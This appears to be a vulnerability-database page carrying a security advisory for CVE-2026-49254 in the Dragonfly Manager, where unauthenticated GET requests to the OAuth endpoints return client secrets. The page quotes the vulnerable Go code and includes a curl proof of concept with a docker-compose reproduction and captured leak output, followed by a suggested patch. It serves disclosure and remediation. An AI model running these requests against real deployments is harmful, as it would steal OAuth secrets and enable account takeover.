Vulnerability Database

355,754

Total vulnerabilities in the database

CVE-2026-49254 — d7y.io/dragonfly/v2

Exposure of Sensitive Information to an Unauthorized Actor

Summary

The Dragonfly Manager exposes GET /api/v1/oauth and GET /api/v1/oauth/:id to unauthenticated clients. The response body deserializes the entire manager/models.Oauth struct, which includes the client_secret field. Any network-reachable attacker can read the OAuth client secrets configured for github or google providers, defeating the confidentiality guarantee of those secrets and enabling subsequent abuse against the connected identity providers.

Affected versions

github.com/dragonflyoss/dragonfly <= v2.4.3 (and current main at commit 46a8f1e). The vulnerable wiring is present back to the introduction of OAuth GET handlers and was not addressed by GHSA-j8hf-cp34-g4j7 / CVE-2026-24124, whose remediation only added jwt + rbac middleware to the /jobs group.

Privilege required

Unauthenticated. The only precondition is that an administrator has registered at least one OAuth provider via POST /api/v1/oauth (a one-time setup for tenants that enable GitHub / Google sign-in).

Vulnerable code

manager/router/router.go:134-140 (v2.4.3) — the /oauth group registration:

// Oauth. oa := apiv1.Group("/oauth") oa.POST("", jwt.MiddlewareFunc(), rbac, h.CreateOauth) oa.DELETE(":id", jwt.MiddlewareFunc(), rbac, h.DestroyOauth) oa.PATCH(":id", jwt.MiddlewareFunc(), rbac, h.UpdateOauth) oa.GET(":id", h.GetOauth) oa.GET("", h.GetOauths)

Note the asymmetry inside the same oa route group: POST, PATCH, and DELETE explicitly attach jwt.MiddlewareFunc(), rbac as per-route middleware, but the two GET handlers omit both. Compare with the sibling group three lines below at manager/router/router.go:143-148, the /clusters group:

c := apiv1.Group("/clusters", jwt.MiddlewareFunc(), rbac) c.POST("", h.CreateCluster) c.DELETE(":id", h.DestroyCluster) c.PATCH(":id", h.UpdateCluster) c.GET(":id", h.GetCluster) c.GET("", h.GetClusters)

Here the middleware pair is attached once at the group level, so every verb on /clusters is guarded. The OAuth GETs are an unguarded sibling of the same primitive that GHSA-j8hf-cp34-g4j7 (Jan 2026) patched on the /jobs group. This is sibling-method-dispatch-target of the AP-012 sub-shape lens: same module, same router file, same anchor primitive ("group lacking JWT + RBAC"), parallel GET methods missed.

The handler at manager/handlers/oauth.go:127-141 returns the model directly:

func (h *Handlers) GetOauth(ctx *gin.Context) { var params types.OauthParams if err := ctx.ShouldBindUri(&params); err != nil { ctx.JSON(http.StatusUnprocessableEntity, gin.H{"errors": err.Error()}) return } oauth, err := h.service.GetOauth(ctx.Request.Context(), params.ID) if err != nil { ctx.Error(err) // nolint: errcheck return } ctx.JSON(http.StatusOK, oauth) }

manager/handlers/oauth.go:155-171 has the parallel list handler:

func (h *Handlers) GetOauths(ctx *gin.Context) { var query types.GetOauthsQuery if err := ctx.ShouldBindQuery(&query); err != nil { ctx.JSON(http.StatusUnprocessableEntity, gin.H{"errors": err.Error()}) return } h.setPaginationDefault(&query.Page, &query.PerPage) oauth, count, err := h.service.GetOauths(ctx.Request.Context(), query) if err != nil { ctx.Error(err) // nolint: errcheck return } h.setPaginationLinkHeader(ctx, query.Page, query.PerPage, int(count)) ctx.JSON(http.StatusOK, oauth) }

manager/models/oauth.go:19-26 declares ClientSecret with no json:"-" tag, so it is serialized into every response:

type Oauth struct { BaseModel Name string `gorm:"column:name;type:varchar(256);index:uk_oauth2_name,unique;not null;comment:oauth2 name" json:"name"` BIO string `gorm:"column:bio;type:varchar(1024);comment:biography" json:"bio"` ClientID string `gorm:"column:client_id;type:varchar(256);index:uk_oauth2_client_id,unique;not null;comment:client id for oauth2" json:"client_id"` ClientSecret string `gorm:"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"client_secret"` RedirectURL string `gorm:"column:redirect_url;type:varchar(1024);comment:authorization callback url" json:"redirect_url"` }

How an unauthenticated request reaches the OAuth client_secret

  1. gin.Engine routes GET /api/v1/oauth/:id to the oa group registered at manager/router/router.go:135. Because no middleware is attached at the group level and none is attached at the per-route level, the request bypasses jwt.MiddlewareFunc() (which would have set or rejected c.Get("id")) and middlewares.RBAC() (which would have called Casbin enforcement).
  2. The request enters h.GetOauth (manager/handlers/oauth.go:127), which binds the :id path parameter and calls h.service.GetOauth.
  3. service.GetOauth (manager/service/oauth.go) does s.db.First(&oauth, id) and returns the populated models.Oauth.
  4. The handler calls ctx.JSON(http.StatusOK, oauth). The ClientSecret field is serialized as client_secret in the response body.

There is no PVR-style validator, no schema filter, no omitempty, and no DTO projection on the way. The audit middleware records the request as actor=unknown.

Proof of concept

# (Assume Manager is reachable at $MANAGER and at least one OAuth provider # has been registered via the authenticated POST /api/v1/oauth path.) curl -s $MANAGER/api/v1/oauth | python3 -m json.tool curl -s $MANAGER/api/v1/oauth/1 | python3 -m json.tool

Both calls return HTTP 200 with a JSON body that includes client_secret.

End-to-end reproduction (against dragonflyoss/manager:v2.4.3 on docker compose)

Boot the deployment with the project's stock deploy/docker-compose stack reduced to the Manager + its MySQL + Redis dependencies:

mkdir -p /Users/rick/df2-poc/config cp Dragonfly2/deploy/docker-compose/template/manager.template.yaml \ /Users/rick/df2-poc/config/manager.yaml # replace __IP__ with 127.0.0.1 (advertiseIP) and the redis addr with dragonfly-redis:6379 # enable the default JWT key line (the template ships it already). cat > /Users/rick/df2-poc/docker-compose.yaml <<'YAML' services: redis: image: redis:6-alpine container_name: dragonfly-redis command: --requirepass dragonfly mysql: image: mariadb:10.6 container_name: dragonfly-mysql environment: - MARIADB_USER=dragonfly - MARIADB_PASSWORD=dragonfly - MARIADB_DATABASE=manager - MARIADB_ALLOW_EMPTY_ROOT_PASSWORD=yes manager: image: dragonflyoss/manager:v2.4.3 container_name: dragonfly-manager depends_on: [redis, mysql] restart: on-failure volumes: - ./config/manager.yaml:/etc/dragonfly/manager.yaml:ro ports: - "18080:8080" YAML docker compose -f /Users/rick/df2-poc/docker-compose.yaml up -d until curl -fsS -o /dev/null http://localhost:18080/healthy; do sleep 2; done

Bootstrap one administrator and register an OAuth provider whose secret we plant as a sentinel:

# Sign up + promote to root via the casbin_rule table (no other admin yet). curl -s -X POST http://localhost:18080/api/v1/users/signup \ -H 'Content-Type: application/json' \ -d '{"name":"admin","password":"adminpass123","email":"[email protected]"}' docker exec dragonfly-mysql mysql -uroot -e \ "USE manager; INSERT INTO casbin_rule (ptype, v0, v1) VALUES ('g','2','root');" docker compose -f /Users/rick/df2-poc/docker-compose.yaml restart manager until curl -fsS -o /dev/null http://localhost:18080/healthy; do sleep 2; done TOKEN=$(curl -s -X POST http://localhost:18080/api/v1/users/signin \ -H 'Content-Type: application/json' \ -d '{"name":"admin","password":"adminpass123"}' \ | python3 -c 'import sys,json; print(json.load(sys.stdin)["token"])') curl -s -X POST http://localhost:18080/api/v1/oauth \ -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \ -d '{"name":"github","client_id":"FAKE_CLIENT_ID_abc123", "client_secret":"FAKE_CLIENT_SECRET_supersensitive_xyz789"}'

Captured run output of the actual attack (unauthenticated client):

=== [0] Baseline: /api/v1/clusters demands auth === HTTP 401 === [1] Baseline: /api/v1/jobs demands auth (post GHSA-j8hf fix) === HTTP 401 === [ATTACK A] Unauthenticated GET /api/v1/oauth -> secret leaks === HTTP 200 [ { "id": 1, "name": "github", "client_id": "FAKE_CLIENT_ID_abc123", "client_secret": "FAKE_CLIENT_SECRET_supersensitive_xyz789", "redirect_url": "" } ] === [ATTACK B] Unauthenticated GET /api/v1/oauth/1 -> secret leaks === HTTP 200 { "id": 1, "name": "github", "client_id": "FAKE_CLIENT_ID_abc123", "client_secret": "FAKE_CLIENT_SECRET_supersensitive_xyz789", "redirect_url": "" }

Interpretation: /api/v1/clusters and /api/v1/jobs both reject the unauthenticated curl with 401 Unauthorized (the JWT + RBAC stack engages). The OAuth GETs return 200 OK plus the full row including client_secret. The Manager's own RBAC enforcement that exists for every other admin resource is bypassed for these two routes.

Fix verification (after applying the patch in the next section), the same harness must return 401 Unauthorized for both attack steps.

Impact

  • The OAuth sign-in feature is not actually used in practice within the Dragonfly project itself.
  • Unauthenticated disclosure of OAuth client_secret for GitHub / Google providers. A client_secret permits an attacker to mint OAuth tokens against the configured IdP for arbitrary callback URLs (subject to the provider's redirect-URI allowlist on that client), to impersonate the Manager during the OAuth handshake, and to construct phishing pages that look identical to the Manager's own redirect URL.
  • The same row also exposes client_id and redirect_url, both of which are useful for a follow-up account-takeover against any Manager user who relies on the OAuth sign-in flow.
  • Tenants who exposed the Manager's REST port (8080/tcp, default in the project's docker-compose.yaml and Helm chart) to a corporate network or the internet leak the secret to every host that can reach the port. Network-policy or ingress filtering does not mitigate this for in-cluster attackers.

CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) compounded by CWE-306 (Missing Authentication for Critical Function).

Suggested fix

Move the JWT and RBAC middleware to the route-group level, matching every other admin resource in the same file (/clusters, /scheduler-clusters, /seed-peers, /configs, /jobs after GHSA-j8hf, etc.). Additionally, drop ClientSecret from any read response by marking it json:"-" on the model, so even a future router regression cannot leak it.

--- a/manager/router/router.go +++ b/manager/router/router.go @@ Oauth. - oa := apiv1.Group("/oauth") - oa.POST("", jwt.MiddlewareFunc(), rbac, h.CreateOauth) - oa.DELETE(":id", jwt.MiddlewareFunc(), rbac, h.DestroyOauth) - oa.PATCH(":id", jwt.MiddlewareFunc(), rbac, h.UpdateOauth) - oa.GET(":id", h.GetOauth) - oa.GET("", h.GetOauths) + oa := apiv1.Group("/oauth", jwt.MiddlewareFunc(), rbac) + oa.POST("", h.CreateOauth) + oa.DELETE(":id", h.DestroyOauth) + oa.PATCH(":id", h.UpdateOauth) + oa.GET(":id", h.GetOauth) + oa.GET("", h.GetOauths) --- a/manager/models/oauth.go +++ b/manager/models/oauth.go @@ type Oauth struct { - ClientSecret string `gorm:"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"client_secret"` + ClientSecret string `gorm:"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"-"`

The first hunk mirrors exactly the shape applied for /clusters, /scheduler-clusters, /seed-peer-clusters, /seed-peers, /peers, /configs, /applications, /personal-access-tokens, /persistent-cache-tasks, /audits, and (post-GHSA-j8hf-cp34-g4j7) /jobs. The second hunk adds a defense-in-depth pin so that if the OAuth registration handler is ever consumed by a future routing change, the secret stays out of the JSON contract.

Fix PR

https://github.com/dragonflyoss/dragonfly-ghsa-4q9j-6299-gxmr/pull/1 (temp private fork PR opened on the advisory's embargo-private fork).

Workarounds

The OAuth sign-in feature is not actually used in practice within the Dragonfly project itself.

Credit

Reported by tonghuaroot.

No technical information available.

CWEs:

Software From Fixed in
Go icon d7y.io/dragonfly/v2 - 2.4.4

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.